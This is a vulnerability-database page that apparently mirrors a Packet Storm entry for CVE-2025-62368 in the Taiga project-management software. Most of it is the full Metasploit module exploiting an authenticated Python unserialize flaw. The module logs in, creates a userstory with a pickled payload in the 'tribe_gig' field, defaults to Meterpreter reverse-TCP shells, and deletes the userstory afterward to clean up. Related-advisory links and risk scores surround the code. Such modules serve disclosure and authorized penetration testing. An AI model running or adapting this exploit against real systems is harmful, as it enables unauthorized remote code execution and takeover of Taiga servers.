Lucene search
K

📄 Taiga Tribe_gig Authenticated Unserialize Remote Code Execution

🗓️ 07 Jan 2026 00:00:00Reported by rootjog, whotwagnerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 163 Views

Taiga tribe_gig authenticated unserialize remote code execution by creating a userstory.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-62368
28 Oct 202523:12
circl
CNNVD
Taiga 代码问题漏洞
28 Oct 202500:00
cnnvd
CVE
CVE-2025-62368
28 Oct 202520:08
cve
Cvelist
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
cvelist
EUVD
EUVD-2025-36562
28 Oct 202520:08
euvd
Metasploit
Taiga tribe_gig authenticated unserialize remote code execution
7 Jan 202618:58
metasploit
NVD
CVE-2025-62368
28 Oct 202521:15
nvd
OSV
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
osv
Positive Technologies
PT-2025-44208
28 Oct 202500:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 01/09/2026
9 Jan 202623:07
rapid7blog
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class TaigaClientException < StandardError; end
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
            'Description' => %q{
              This module exploits an unserialization flaw by
              creating a userstory in a project.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'rootjog',      # Discovery
              'whotwagner'    # Metasploit Module
            ],
            'References' => [
              ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
              ['CVE', '2025-62368']
            ],
            'Platform' => %w[linux unix python],
            'Targets' => [
              [
                'Python payload',
                {
                  'Arch' => [ ARCH_PYTHON ],
                  'Platform' => 'python',
                  'Type' => :python,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => %w[unix linux],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'SSL' => false
            },
            'Privileged' => false,
            'DisclosureDate' => '2025-10-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
            OptString.new('USERNAME', [true, 'The username to authenticate as']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
          ]
        )
      end
    
      def authenticate(user, pass)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            username: user,
            password: pass,
            type: 'normal'
          }.to_json,
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Login failed' if res&.code != 200
    
        parsed_json = res.get_json_document
        @token = parsed_json['auth_token']
        @taiga_user_id = parsed_json['id']
      end
    
      def get_project
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
          'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get projects failed!' if res&.code != 200
    
        projects = res.get_json_document
        projects.each do |project|
          @taiga_project = project['id'] if project['is_kanban_activated']
        end
    
        raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
      end
    
      def get_status
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
          'vars_get' => { 'project' => @taiga_project },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get status failed!' if res&.code != 200
    
        status_data = res.get_json_document
        raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
    
        status_data['statuses'].each do |stat|
          return stat['id'] if stat['name'] == 'New'
        end
      end
    
      def delete_userstory(id)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
          'method' => 'DELETE',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'keep_cookies' => true
        )
      end
    
      def send_payload(payload, project_status)
        temp_project = Rex::Text.rand_text_alpha(10..15)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'data' => {
            _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
            tribe_gig: payload.to_s
          }.to_json
        )
      end
    
      def check
        cookie_jar.clear
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
          project_status = get_status
        rescue TaigaClientException => e
          return Exploit::CheckCode::Unknown(e)
        end
        sleep_time = rand(5..10)
        pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
        command = Rex::Text.encode_base64(pl)
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          send_payload(command, project_status)
        end
        return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
    
        user_story_id = res.get_json_document['id']
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
    
        print_status("Elapsed time: #{elapsed_time} seconds.")
        return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      def execute_command(cmd, _opts = {})
        # calls some method to inject cmd to the vulnerable code.
        begin
          project_status = get_status
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
        print_status('Sending payload..')
        res = send_payload(cmd, project_status)
        print_good('Payload sent')
        user_story_id = res.get_json_document['id']
        print_status('Cleanup..')
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
        print_good('Userstory deleted')
      end
    
      def exploit
        cookie_jar.clear
    
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
    
        if target['Type'] == :python
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
        else
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
        end
        data = Rex::Text.encode_base64(command)
        execute_command(data)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.19
EPSS0.01405
SSVC
163